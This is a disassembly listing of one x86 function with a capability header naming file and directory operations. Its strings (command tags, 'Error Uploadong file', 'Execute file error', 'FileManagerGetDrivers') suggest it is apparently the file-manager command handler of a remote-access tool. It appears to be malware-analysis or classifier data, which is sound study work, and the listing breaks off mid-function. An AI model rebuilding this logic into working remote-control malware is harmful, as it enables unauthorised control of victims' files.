Function at 0x40e148
Capabilities:
Create directory
Delete directory
Delete file
Move file
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xc2c
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x58], ecx
mov ecx, dword [ebp - 0x58]
mov dword [ebp - 0x54], ecx
lea ecx, [ebp - 0x130]
mov dword [ebp - 0x50], ecx
mov ecx, dword [ebp - 0x50]
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x13c], str.STGDGPUPFRUFSDFDELEXCDIDDIRFIRDIError_Uploadong_file___Code_:_Error_Uploadong_file___Code_:_SuccessFul_Upload_Error_code:
mov dword [ebp - 0x138], 2
mov ecx, esp
lea edx, [ebp - 0x140]
mov dword [ecx], edx
mov dword [ebp - 0x8d4], eax
mov dword [ebp - 0x8d8], edx
call fcn.004032f8
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x28], 0x550e90
mov dword [ebp - 0x24], 0x556c04
mov ecx, ebp
mov dword [ebp - 0x20], ecx
mov ecx, esp
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x20], 0x410d30
mov dword [ebp - 0x3c], 1
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x8dc], eax
mov eax, ecx
call fcn.00551af9
mov eax, dword [ebp - 0x13c]
mov ecx, dword [ebp - 0x138]
mov edx, esp
mov dword [edx + 8], ecx
mov dword [edx + 4], eax
mov eax, dword [ebp - 0x8d8]
mov dword [edx + 0xc], eax
mov ecx, dword [ebp - 0x8dc]
mov dword [edx], ecx
call fcn.00403314
jmp 0x40e209
mov eax, dword [ebp - 0x50]
add eax, 0x10
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x150], 0x556936
mov dword [ebp - 0x14c], 2
mov ecx, esp
lea edx, [ebp - 0x154]
mov dword [ecx], edx
mov dword [ebp - 0x8e0], eax
mov dword [ebp - 0x8e4], edx
call fcn.004032f8
mov dword [ebp - 0x3c], 2
mov eax, dword [ebp - 0x150]
mov ecx, dword [ebp - 0x14c]
mov edx, esp
mov dword [edx + 8], ecx
mov dword [edx + 4], eax
mov eax, dword [ebp - 0x8e4]
mov dword [edx + 0xc], eax
mov ecx, dword [ebp - 0x8e0]
mov dword [edx], ecx
call fcn.00403314
jmp 0x40e277
mov eax, dword [ebp - 0x8e0]
add eax, 0x10
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x15c], 0x556938
mov dword [ebp - 0x158], 2
mov ecx, esp
lea edx, [ebp - 0x160]
mov dword [ecx], edx
mov dword [ebp - 0x8e8], eax
mov dword [ebp - 0x8ec], edx
call fcn.004032f8
mov dword [ebp - 0x3c], 3
mov eax, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0x158]
mov edx, esp
mov dword [edx + 8], ecx
mov dword [edx + 4], eax
mov eax, dword [ebp - 0x8ec]
mov dword [edx + 0xc], eax
mov ecx, dword [ebp - 0x8e8]
mov dword [edx], ecx
call fcn.00403314
jmp 0x40e2e8
mov eax, dword [ebp - 0x8e8]
add eax, 0x10
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x168], 0x55693a
mov dword [ebp - 0x164], 3
mov ecx, esp
lea edx, [ebp - 0x16c]
mov dword [ecx], edx
mov dword [ebp - 0x8f0], eax
mov dword [ebp - 0x8f4], edx
call fcn.004032f8
mov dword [ebp - 0x3c], 4
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
mov edx, esp
mov dword [edx + 8], ecx
mov dword [edx + 4], eax
mov eax, dword [ebp - 0x8f4]
mov dword [edx + 0xc], eax
mov ecx, dword [ebp - 0x8f0]
mov dword [edx], ecx
call fcn.00403314
jmp 0x40e359
mov eax, dword [ebp - 0x8f0]
add eax, 0x10
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x174], 0x55693d
mov dword [ebp - 0x170], 3
mov ecx, esp
lea edx, [ebp - 0x178]
mov dword [ecx], edx
mov dword [ebp - 0x8f8], eax
mov dword [ebp - 0x8fc], edx
call fcn.004032f8
mov dword [ebp - 0x3c], 5
mov eax, dword [ebp - 0x174]
mov ecx, dword [ebp - 0x170]
mov edx, esp
mov dword [edx + 8], ecx
mov dword [edx + 4], eax
mov eax, dword [ebp - 0x8fc]
mov dword [edx + 0xc], eax
mov ecx, dword [ebp - 0x8f8]
mov dword [edx], ecx
call fcn.00403314
jmp 0x40e3ca
mov eax, dword [ebp - 0x8f8]
add eax, 0x10
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x180], 0x556940
mov dword [ebp - 0x17c], 3
mov ecx, esp
lea edx, [ebp - 0x184]
mov dword [ecx], edx
mov dword [ebp - 0x900], eax
mov dword [ebp - 0x904], edx
call fcn.004032f8
mov dword [ebp - 0x3c], 6
mov eax, dword [ebp - 0x180]
mov ecx, dword [ebp - 0x17c]
mov edx, esp
mov dword [edx + 8], ecx
mov dword [edx + 4], eax
mov eax, dword [ebp - 0x904]
mov dword [edx + 0xc], eax
mov ecx, dword [ebp - 0x900]
mov dword [edx], ecx
call fcn.00403314
jmp 0x40e43b
mov eax, dword [ebp - 0x900]
add eax, 0x10
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x18c], 0x556943
mov dword [ebp - 0x188], 3
mov ecx, esp
lea edx, [ebp - 0x190]
mov dword [ecx], edx
mov dword [ebp - 0x908], eax
mov dword [ebp - 0x90c], edx
call fcn.004032f8
mov dword [ebp - 0x3c], 7
mov eax, dword [ebp - 0x18c]
mov ecx, dword [ebp - 0x188]
mov edx, esp
mov dword [edx + 8], ecx
mov dword [edx + 4], eax
mov eax, dword [ebp - 0x90c]
mov dword [edx + 0xc], eax
mov ecx, dword [ebp - 0x908]
mov dword [edx], ecx
call fcn.00403314
jmp 0x40e4ac
mov eax, dword [ebp - 0x908]
add eax, 0x10
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x198], 0x556946
mov dword [ebp - 0x194], 2
mov ecx, esp
lea edx, [ebp - 0x19c]
mov dword [ecx], edx
mov dword [ebp - 0x910], eax
mov dword [ebp - 0x914], edx
call fcn.004032f8
mov dword [ebp - 0x3c], 8
mov eax, dword [ebp - 0x198]
mov ecx, dword [ebp - 0x194]
mov edx, esp
mov dword [edx + 8], ecx
mov dword [edx + 4], eax
mov eax, dword [ebp - 0x914]
mov dword [edx + 0xc], eax
mov ecx, dword [ebp - 0x910]
mov dword [edx], ecx
call fcn.00403314
jmp 0x40e51d
mov eax, dword [ebp - 0x910]
add eax, 0x10
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x1a4], 0x556948
mov dword [ebp - 0x1a0], 3
mov ecx, esp
lea edx, [ebp - 0x1a8]
mov dword [ecx], edx
mov dword [ebp - 0x918], eax
mov dword [ebp - 0x91c], edx
call fcn.004032f8
mov dword [ebp - 0x3c], 9
mov eax, dword [ebp - 0x1a4]
mov ecx, dword [ebp - 0x1a0]
mov edx, esp
mov dword [edx + 8], ecx
mov dword [edx + 4], eax
mov eax, dword [ebp - 0x91c]
mov dword [edx + 0xc], eax
mov ecx, dword [ebp - 0x918]
mov dword [edx], ecx
call fcn.00403314
jmp 0x40e58e
mov eax, dword [ebp - 0x918]
add eax, 0x10
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x1b0], 0x55694b
mov dword [ebp - 0x1ac], 3
mov ecx, esp
lea edx, [ebp - 0x1b4]
mov dword [ecx], edx
mov dword [ebp - 0x920], eax
mov dword [ebp - 0x924], edx
call fcn.004032f8
mov dword [ebp - 0x3c], 0xa
mov eax, dword [ebp - 0x1b0]
mov ecx, dword [ebp - 0x1ac]
mov edx, esp
mov dword [edx + 8], ecx
mov dword [edx + 4], eax
mov eax, dword [ebp - 0x924]
mov dword [edx + 0xc], eax
mov ecx, dword [ebp - 0x920]
mov dword [edx], ecx
call fcn.00403314
jmp 0x40e5ff
mov eax, dword [ebp - 0x920]
add eax, 0x10
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x1bc], 0x55694e
mov dword [ebp - 0x1b8], 3
mov ecx, esp
lea edx, [ebp - 0x1c0]
mov dword [ecx], edx
mov dword [ebp - 0x928], eax
mov dword [ebp - 0x92c], edx
call fcn.004032f8
mov dword [ebp - 0x3c], 0xb
mov eax, dword [ebp - 0x1bc]
mov ecx, dword [ebp - 0x1b8]
mov edx, esp
mov dword [edx + 8], ecx
mov dword [edx + 4], eax
mov eax, dword [ebp - 0x92c]
mov dword [edx + 0xc], eax
mov ecx, dword [ebp - 0x928]
mov dword [edx], ecx
call fcn.00403314
jmp 0x40e670
mov eax, dword [ebp - 0x928]
add eax, 0x10
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x1c8], 0x556951
mov dword [ebp - 0x1c4], 3
mov ecx, esp
lea edx, [ebp - 0x1cc]
mov dword [ecx], edx
mov dword [ebp - 0x930], eax
mov dword [ebp - 0x934], edx
call fcn.004032f8
mov dword [ebp - 0x3c], 0xc
mov eax, dword [ebp - 0x1c8]
mov ecx, dword [ebp - 0x1c4]
mov edx, esp
mov dword [edx + 8], ecx
mov dword [edx + 4], eax
mov eax, dword [ebp - 0x934]
mov dword [edx + 0xc], eax
mov ecx, dword [ebp - 0x930]
mov dword [edx], ecx
call fcn.00403314
jmp 0x40e6e1
lea eax, [ebp - 0x130]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], 0xc
mov eax, esp
lea ecx, [ebp - 0x1d0]
mov dword [eax], ecx
mov dword [ebp - 0x938], ecx
call fcn.00410f50
mov dword [ebp - 0x3c], 0xd
mov eax, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x6c]
mov edx, esp
mov dword [edx + 8], ecx
mov dword [edx + 4], eax
mov eax, dword [ebp - 0x938]
mov dword [edx + 0xc], eax
lea ecx, [ebp - 0x68]
mov dword [edx], ecx
call fcn.00410f6c
jmp 0x40e730
lea eax, [ebp - 0x130]
mov ecx, eax
add ecx, 0xc0
mov dword [ebp - 0x93c], eax
mov dword [ebp - 0x940], ecx
mov eax, dword [ebp - 0x940]
add eax, 0xfffffff0
mov dword [esp], eax
mov dword [ebp - 0x944], eax
call fcn.00403a50
mov eax, dword [ebp - 0x944]
mov ecx, dword [ebp - 0x93c]
cmp eax, ecx
mov dword [ebp - 0x940], eax
jne 0x40e74a
mov dword [ebp - 0x3c], 0xe
mov eax, esp
lea ecx, [ebp - 0x1ec]
mov dword [eax], ecx
call fcn.00410fac
jmp 0x40e78f
mov eax, esp
mov ecx, dword [ebp - 0x8d4]
mov dword [eax], ecx
call fcn.00410fc8
add eax, 4
mov ecx, esp
mov dword [ecx], eax
call fcn.00410fec
add eax, 4
mov dword [ebp - 0x3c], 0xf
mov ecx, esp
mov dword [ecx + 4], eax
lea eax, [ebp - 0x208]
mov dword [ecx], eax
call fcn.004110bc
jmp 0x40e7c8
mov dword [ebp - 0x3c], 0x10
mov eax, esp
lea ecx, [ebp - 0x68]
mov dword [eax], ecx
mov dword [eax + 4], 0
call fcn.00411128
mov dword [ebp - 0x948], eax
jmp 0x40e7ea
mov dword [ebp - 0x3c], 0x11
mov eax, esp
mov ecx, dword [ebp - 0x948]
mov dword [eax + 8], ecx
lea edx, [ebp - 0x1ec]
mov dword [eax + 4], edx
lea edx, [ebp - 0x224]
mov dword [eax], edx
call fcn.0045dbec
jmp 0x40e814
lea eax, [ebp - 0x208]
lea ecx, [ebp - 0x224]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.004110e8
lea ecx, [ebp - 0x224]
mov dword [esp], ecx
mov byte [ebp - 0x949], al
call fcn.00405890
mov al, byte [ebp - 0x949]
test al, 1
jne 0x40e84f
jmp 0x40e99c
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x3c], 0x12
mov ecx, esp
mov dword [ecx], eax
call fcn.0041115c
jmp 0x40e864
jmp 0x40e99c
mov dword [ebp - 0x3c], 0x13
mov eax, esp
lea ecx, [ebp - 0x68]
mov dword [eax], ecx
mov dword [eax + 4], 1
call fcn.00411128
mov dword [ebp - 0x98c], eax
jmp 0x40e9be
mov dword [ebp - 0x3c], 0x14
mov eax, esp
mov ecx, dword [ebp - 0x98c]
mov dword [eax + 8], ecx
lea edx, [ebp - 0x1ec]
mov dword [eax + 4], edx
lea edx, [ebp - 0x240]
mov dword [eax], edx
call fcn.0045dbec
jmp 0x40e9e8
lea eax, [ebp - 0x208]
lea ecx, [ebp - 0x240]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.004110e8
lea ecx, [ebp - 0x240]
mov dword [esp], ecx
mov byte [ebp - 0x98d], al
call fcn.00405890
mov al, byte [ebp - 0x98d]
test al, 1
jne 0x40ea20
jmp 0x40ea37
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x3c], 0x15
mov ecx, esp
mov dword [ecx], eax
call fcn.0041115c
jmp 0x40ea35
jmp 0x40ea37
mov dword [ebp - 0x3c], 0x16
mov eax, esp
lea ecx, [ebp - 0x68]
mov dword [eax], ecx
mov dword [eax + 4], 2
call fcn.00411128
mov dword [ebp - 0x994], eax
jmp 0x40ea59
mov dword [ebp - 0x3c], 0x17
mov eax, esp
mov ecx, dword [ebp - 0x994]
mov dword [eax + 8], ecx
lea edx, [ebp - 0x1ec]
mov dword [eax + 4], edx
lea edx, [ebp - 0x25c]
mov dword [eax], edx
call fcn.0045dbec
jmp 0x40ea83
lea eax, [ebp - 0x208]
lea ecx, [ebp - 0x25c]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.004110e8
lea ecx, [ebp - 0x25c]
mov dword [esp], ecx
mov byte [ebp - 0x995], al
call fcn.00405890
mov al, byte [ebp - 0x995]
test al, 1
jne 0x40eabb
jmp 0x40eaf5
mov eax, esp
mov ecx, dword [ebp - 0x8d4]
mov dword [eax], ecx
call fcn.00410fc8
add eax, 4
mov ecx, esp
mov dword [ecx], eax
call fcn.00410fec
add eax, 0xc8
mov ecx, dword [ebp - 0x54]
mov dword [ebp - 0x3c], 0x18
mov edx, esp
mov dword [edx + 4], eax
mov dword [edx], ecx
call fcn.00411a58
jmp 0x40eaf3
jmp 0x40eaf5
mov dword [ebp - 0x3c], 0x19
mov eax, esp
lea ecx, [ebp - 0x68]
mov dword [eax], ecx
mov dword [eax + 4], 3
call fcn.00411128
mov dword [ebp - 0x99c], eax
jmp 0x40eb17
mov dword [ebp - 0x3c], 0x1a
mov eax, esp
mov ecx, dword [ebp - 0x99c]
mov dword [eax + 8], ecx
lea edx, [ebp - 0x1ec]
mov dword [eax + 4], edx
lea edx, [ebp - 0x278]
mov dword [eax], edx
call fcn.0045dbec
jmp 0x40eb41
lea eax, [ebp - 0x208]
lea ecx, [ebp - 0x278]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.004110e8
lea ecx, [ebp - 0x278]
mov dword [esp], ecx
mov byte [ebp - 0x99d], al
call fcn.00405890
mov al, byte [ebp - 0x99d]
test al, 1
jne 0x40eb7c
jmp 0x40f5e6
mov eax, esp
mov ecx, dword [ebp - 0x8d4]
mov dword [eax], ecx
call fcn.00410fc8
add eax, 4
mov ecx, esp
mov dword [ecx], eax
call fcn.00410fec
add eax, 0x20
mov dword [ebp - 0x3c], 0x1b
mov ecx, esp
mov dword [ecx + 4], eax
lea eax, [ebp - 0x294]
mov dword [ecx], eax
call fcn.004110bc
jmp 0x40ebb5
mov dword [ebp - 0x3c], 0x1c
mov eax, esp
lea ecx, [ebp - 0x294]
mov dword [eax], ecx
call fcn.004304c8
mov byte [ebp - 0x99e], al
jmp 0x40ebd3
mov al, byte [ebp - 0x99e]
test al, 1
jne 0x40ebe2
jmp 0x40ef1a
mov dword [ebp - 0x3c], 0x1d
mov eax, esp
lea ecx, [ebp - 0x294]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x2b0]
mov dword [eax], ecx
call fcn.0042db6c
jmp 0x40ec03
mov eax, esp
lea ecx, [ebp - 0x2b0]
mov dword [eax], ecx
call fcn.00403828
mov dword [ebp - 0x3c], 0x1e
mov ecx, esp
mov dword [ecx], eax
call sub.KERNEL32.DLL_DeleteFileW
sub esp, 4
mov dword [ebp - 0x9a4], eax
jmp 0x40ec2d
lea eax, [ebp - 0x2b0]
mov ecx, dword [ebp - 0x9a4]
cmp ecx, 0
setne dl
xor dl, 0xff
mov dword [esp], eax
mov byte [ebp - 0x9a5], dl
call fcn.0040380c
mov dl, byte [ebp - 0x9a5]
test dl, 1
jne 0x40ec60
jmp 0x40eed5
mov dword [ebp - 0x2c8], 0x556954
mov dword [ebp - 0x2c4], 0x1e
mov eax, esp
lea ecx, [ebp - 0x2cc]
mov dword [eax], ecx
mov dword [ebp - 0x9ac], ecx
call fcn.004032f8
mov dword [ebp - 0x3c], 0x1f
mov eax, dword [ebp - 0x2c8]
mov ecx, dword [ebp - 0x2c4]
mov edx, esp
mov dword [edx + 8], ecx
mov dword [edx + 4], eax
mov eax, dword [ebp - 0x9ac]
mov dword [edx + 0xc], eax
lea ecx, [ebp - 0x2c0]
mov dword [edx], ecx
call fcn.00403314
jmp 0x40ecbc
mov dword [ebp - 0x3c], 0x20
mov eax, esp
lea ecx, [ebp - 0x2c0]
mov dword [eax + 8], ecx
lea ecx, [ebp - 0x1ec]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x304]
mov dword [eax], ecx
call fcn.0045dbec
jmp 0x40ece6
mov dword [ebp - 0x3c], 0x21
call sub.KERNEL32.DLL_GetLastError
mov dword [ebp - 0x9b0], eax
jmp 0x40ecfa
mov dword [ebp - 0x3c], 0x22
mov eax, esp
mov ecx, dword [ebp - 0x9b0]
mov dword [eax + 4], ecx
lea edx, [ebp - 0x320]
mov dword [eax], edx
call fcn.00413688
jmp 0x40ed1b
mov dword [ebp - 0x3c], 0x23
mov eax, esp
lea ecx, [ebp - 0x320]
mov dword [eax + 8], ecx
lea ecx, [ebp - 0x304]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x2e8]
mov dword [eax], ecx
call fcn.00413598
jmp 0x40ed45
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x3c], 0x24
mov ecx, esp
lea edx, [ebp - 0x2e8]
mov dword [ecx + 4], edx
mov dword [ecx], eax
call fcn.00412e84
jmp 0x40ed63
lea eax, [ebp - 0x2e8]
mov dword [esp], eax
call fcn.00405890
lea eax, [ebp - 0x320]
mov dword [esp], eax
call fcn.00405890
lea eax, [ebp - 0x304]
mov dword [esp], eax
call fcn.00405890
lea eax, [ebp - 0x2c0]
mov dword [esp], eax
call fcn.00403a50
jmp 0x40eed5
mov dword [ebp - 0x32c], 0x1f4
mov dword [ebp - 0x3c], 0x25
mov eax, esp
lea ecx, [ebp - 0x32c]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x328]
mov dword [eax], ecx
call fcn.0040390c
jmp 0x40ef00
mov dword [ebp - 0x3c], 0x26
mov eax, esp
lea ecx, [ebp - 0x328]
mov dword [eax], ecx
call fcn.004038dc
jmp 0x40ef18
jmp 0x40ef1a
mov eax, esp
mov ecx, dword [ebp - 0x8d4]
mov dword [eax], ecx
call fcn.00410fc8
add eax, 4
mov ecx, esp
mov dword [ecx], eax
call fcn.00410fec
add eax, 0x100
mov dword [ebp - 0x330], eax
mov eax, dword [ebp - 0x330]
mov dword [ebp - 0x3c], 0x27
mov ecx, esp
mov dword [ecx + 4], eax
lea eax, [ebp - 0x294]
mov dword [ecx], eax
call fcn.0042fae4
mov byte [ebp - 0x9e9], al
jmp 0x40ef67
mov al, byte [ebp - 0x9e9]
test al, 1
jne 0x40f175
jmp 0x40ef77
mov dword [ebp - 0x348], 0x556972
mov dword [ebp - 0x344], 0x1e
mov eax, esp
lea ecx, [ebp - 0x34c]
mov dword [eax], ecx
mov dword [ebp - 0x9f0], ecx
call fcn.004032f8
mov dword [ebp - 0x3c], 0x28
mov eax, dword [ebp - 0x348]
mov ecx, dword [ebp - 0x344]
mov edx, esp
mov dword [edx + 8], ecx
mov dword [edx + 4], eax
mov eax, dword [ebp - 0x9f0]
mov dword [edx + 0xc], eax
lea ecx, [ebp - 0x340]
mov dword [edx], ecx
call fcn.00403314
jmp 0x40efd3
mov dword [ebp - 0x3c], 0x29
mov eax, esp
lea ecx, [ebp - 0x340]
mov dword [eax + 8], ecx
lea ecx, [ebp - 0x1ec]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x384]
mov dword [eax], ecx
call fcn.0045dbec
jmp 0x40effd
mov dword [ebp - 0x3c], 0x2a
call sub.KERNEL32.DLL_GetLastError
mov dword [ebp - 0x9f4], eax
jmp 0x40f011
mov dword [ebp - 0x3c], 0x2b
mov eax, esp
mov ecx, dword [ebp - 0x9f4]
mov dword [eax + 4], ecx
lea edx, [ebp - 0x3a0]
mov dword [eax], edx
call fcn.00413688
jmp 0x40f032
mov dword [ebp - 0x3c], 0x2c
mov eax, esp
lea ecx, [ebp - 0x3a0]
mov dword [eax + 8], ecx
lea ecx, [ebp - 0x384]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x368]
mov dword [eax], ecx
call fcn.00413598
jmp 0x40f05c
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x3c], 0x2d
mov ecx, esp
lea edx, [ebp - 0x368]
mov dword [ecx + 4], edx
mov dword [ecx], eax
call fcn.00412e84
jmp 0x40f07a
lea eax, [ebp - 0x368]
mov dword [esp], eax
call fcn.00405890
lea eax, [ebp - 0x3a0]
mov dword [esp], eax
call fcn.00405890
lea eax, [ebp - 0x384]
mov dword [esp], eax
call fcn.00405890
lea eax, [ebp - 0x340]
mov dword [esp], eax
call fcn.00403a50
jmp 0x40f35c
mov dword [ebp - 0x3b8], 0x556990
mov dword [ebp - 0x3b4], 0x12
mov eax, esp
lea ecx, [ebp - 0x3bc]
mov dword [eax], ecx
mov dword [ebp - 0xa18], ecx
call fcn.004032f8
mov dword [ebp - 0x3c], 0x2e
mov eax, dword [ebp - 0x3b8]
mov ecx, dword [ebp - 0x3b4]
mov edx, esp
mov dword [edx + 8], ecx
mov dword [edx + 4], eax
mov eax, dword [ebp - 0xa18]
mov dword [edx + 0xc], eax
lea ecx, [ebp - 0x3b0]
mov dword [edx], ecx
call fcn.00403314
jmp 0x40f1d1
mov dword [ebp - 0x3c], 0x2f
mov eax, esp
lea ecx, [ebp - 0x3b0]
mov dword [eax + 8], ecx
lea ecx, [ebp - 0x1ec]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x3f4]
mov dword [eax], ecx
call fcn.0045dbec
jmp 0x40f1fb
mov dword [ebp - 0x3c], 0x30
mov eax, esp
lea ecx, [ebp - 0x294]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x410]
mov dword [eax], ecx
call fcn.0042f6a4
jmp 0x40f21c
mov dword [ebp - 0x3c], 0x31
mov eax, esp
lea ecx, [ebp - 0x410]
mov dword [eax + 8], ecx
lea ecx, [ebp - 0x3f4]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x3d8]
mov dword [eax], ecx
call fcn.00413598
jmp 0x40f246
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x3c], 0x32
mov ecx, esp
lea edx, [ebp - 0x3d8]
mov dword [ecx + 4], edx
mov dword [ecx], eax
call fcn.00412e84
jmp 0x40f264
lea eax, [ebp - 0x3d8]
mov dword [esp], eax
call fcn.00405890
lea eax, [ebp - 0x410]
mov dword [esp], eax
call fcn.00405890
lea eax, [ebp - 0x3f4]
mov dword [esp], eax
call fcn.00405890
lea eax, [ebp - 0x3b0]
mov dword [esp], eax
call fcn.00403a50
jmp 0x40f35c
lea eax, [ebp - 0x294]
mov dword [esp], eax
call fcn.00405890
jmp 0x40f5e4
jmp 0x40f5e6
mov dword [ebp - 0x3c], 0x3c
mov eax, esp
lea ecx, [ebp - 0x68]
mov dword [eax], ecx
mov dword [eax + 4], 4
call fcn.00411128
mov dword [ebp - 0xa6c], eax
jmp 0x40f608
mov dword [ebp - 0x3c], 0x3d
mov eax, esp
mov ecx, dword [ebp - 0xa6c]
mov dword [eax + 8], ecx
lea edx, [ebp - 0x1ec]
mov dword [eax + 4], edx
lea edx, [ebp - 0x4a4]
mov dword [eax], edx
call fcn.0045dbec
jmp 0x40f632
lea eax, [ebp - 0x208]
lea ecx, [ebp - 0x4a4]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.004110e8
lea ecx, [ebp - 0x4a4]
mov dword [esp], ecx
mov byte [ebp - 0xa6d], al
call fcn.00405890
mov al, byte [ebp - 0xa6d]
test al, 1
jne 0x40f66a
jmp 0x40f6b6
mov eax, esp
mov ecx, dword [ebp - 0x8d4]
mov dword [eax], ecx
call fcn.00410fc8
add eax, 4
mov ecx, esp
mov dword [ecx], eax
call fcn.00410fec
add eax, 0x74
mov ecx, dword [ebp - 0x54]
mov dword [ebp - 0x3c], 0x3e
mov edx, esp
mov dword [edx + 4], eax
mov dword [edx], ecx
call fcn.00413718
mov byte [ebp - 0xa6e], al
jmp 0x40f6a6
mov al, byte [ebp - 0xa6e]
test al, 1
jne 0x40f6b4
jmp 0x40f6b2
jmp 0x40f6b4
jmp 0x40f6b6
mov dword [ebp - 0x3c], 0x3f
mov eax, esp
lea ecx, [ebp - 0x68]
mov dword [eax], ecx
mov dword [eax + 4], 5
call fcn.00411128
mov dword [ebp - 0xa74], eax
jmp 0x40f6d8
mov dword [ebp - 0x3c], 0x40
mov eax, esp
mov ecx, dword [ebp - 0xa74]
mov dword [eax + 8], ecx
lea edx, [ebp - 0x1ec]
mov dword [eax + 4], edx
lea edx, [ebp - 0x4c0]
mov dword [eax], edx
call fcn.0045dbec
jmp 0x40f702
lea eax, [ebp - 0x208]
lea ecx, [ebp - 0x4c0]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.004110e8
lea ecx, [ebp - 0x4c0]
mov dword [esp], ecx
mov byte [ebp - 0xa75], al
call fcn.00405890
mov al, byte [ebp - 0xa75]
test al, 1
jne 0x40f73a
jmp 0x40f79f
mov eax, esp
mov ecx, dword [ebp - 0x8d4]
mov dword [eax], ecx
call fcn.00410fc8
add eax, 4
mov ecx, esp
mov dword [ecx], eax
call fcn.00410fec
add eax, 0x3c
mov ecx, esp
mov edx, dword [ebp - 0x8d4]
mov dword [ecx], edx
mov dword [ebp - 0xa7c], eax
call fcn.00410fc8
add eax, 4
mov ecx, esp
mov dword [ecx], eax
call fcn.00410fec
add eax, 0x74
mov ecx, dword [ebp - 0x54]
mov dword [ebp - 0x3c], 0x41
mov edx, esp
mov dword [edx + 8], eax
mov eax, dword [ebp - 0xa7c]
mov dword [edx + 4], eax
mov dword [edx], ecx
call fcn.00413ef4
jmp 0x40f79d
jmp 0x40f79f
mov dword [ebp - 0x3c], 0x42
mov eax, esp
lea ecx, [ebp - 0x68]
mov dword [eax], ecx
mov dword [eax + 4], 6
call fcn.00411128
mov dword [ebp - 0xa80], eax
jmp 0x40f7c1
mov dword [ebp - 0x3c], 0x43
mov eax, esp
mov ecx, dword [ebp - 0xa80]
mov dword [eax + 8], ecx
lea edx, [ebp - 0x1ec]
mov dword [eax + 4], edx
lea edx, [ebp - 0x4dc]
mov dword [eax], edx
call fcn.0045dbec
jmp 0x40f7eb
lea eax, [ebp - 0x208]
lea ecx, [ebp - 0x4dc]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.004110e8
lea ecx, [ebp - 0x4dc]
mov dword [esp], ecx
mov byte [ebp - 0xa81], al
call fcn.00405890
mov al, byte [ebp - 0xa81]
test al, 1
jne 0x40f826
jmp 0x40faed
mov eax, esp
mov ecx, dword [ebp - 0x8d4]
mov dword [eax], ecx
call fcn.00410fc8
add eax, 4
mov ecx, esp
mov dword [ecx], eax
call fcn.00410fec
add eax, 0x3c
mov dword [ebp - 0x3c], 0x44
mov ecx, esp
mov dword [ecx + 4], eax
lea eax, [ebp - 0x4f8]
mov dword [ecx], eax
call fcn.0042db6c
jmp 0x40f85f
mov eax, esp
lea ecx, [ebp - 0x4f8]
mov dword [eax], ecx
call fcn.00403828
mov dword [ebp - 0x3c], 0x45
mov ecx, esp
mov dword [ecx], eax
call sub.KERNEL32.DLL_DeleteFileW
sub esp, 4
mov dword [ebp - 0xa88], eax
jmp 0x40f889
lea eax, [ebp - 0x4f8]
mov ecx, dword [ebp - 0xa88]
cmp ecx, 0
setne dl
xor dl, 0xff
mov dword [esp], eax
mov byte [ebp - 0xa89], dl
call fcn.0040380c
mov dl, byte [ebp - 0xa89]
test dl, 1
jne 0x40f8bc
jmp 0x40faeb
mov dword [ebp - 0x510], str.DeleteFile_Error_Code_Execute_file_error_Code_:__Create_Folder_Error_Error__:__Delete_Folder_Error_:_Rename_Object__Error_:_Rename_Object__Error_:_FileManagerGetDrivers_
mov dword [ebp - 0x50c], 0x16
mov eax, esp
lea ecx, [ebp - 0x514]
mov dword [eax], ecx
mov dword [ebp - 0xa90], ecx
call fcn.004032f8
mov dword [ebp - 0x3c], 0x46
mov eax, dword [ebp - 0x510]
mov ecx, dword [ebp - 0x50c]
mov edx, esp
mov dword [edx + 8], ecx
mov dword [edx + 4], eax
mov eax, dword [ebp - 0xa90]
mov dword [edx + 0xc], eax
lea ecx, [ebp - 0x508]
mov dword [edx], ecx
call fcn.00403314
jmp 0x40f918
mov dword [ebp - 0x3c], 0x47
mov eax, esp
lea ecx, [ebp - 0x508]
mov dword [eax + 8], ecx
lea ecx, [ebp - 0x1ec]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x54c]
mov dword [eax], ecx
call fcn.0045dbec
jmp 0x40f942
mov dword [ebp - 0x3c], 0x48
call sub.KERNEL32.DLL_GetLastError
mov dword [ebp - 0xa94], eax
jmp 0x40f956
mov dword [ebp - 0x3c], 0x49
mov eax, esp
mov ecx, dword [ebp - 0xa94]
mov dword [eax + 4], ecx
lea edx, [ebp - 0x568]
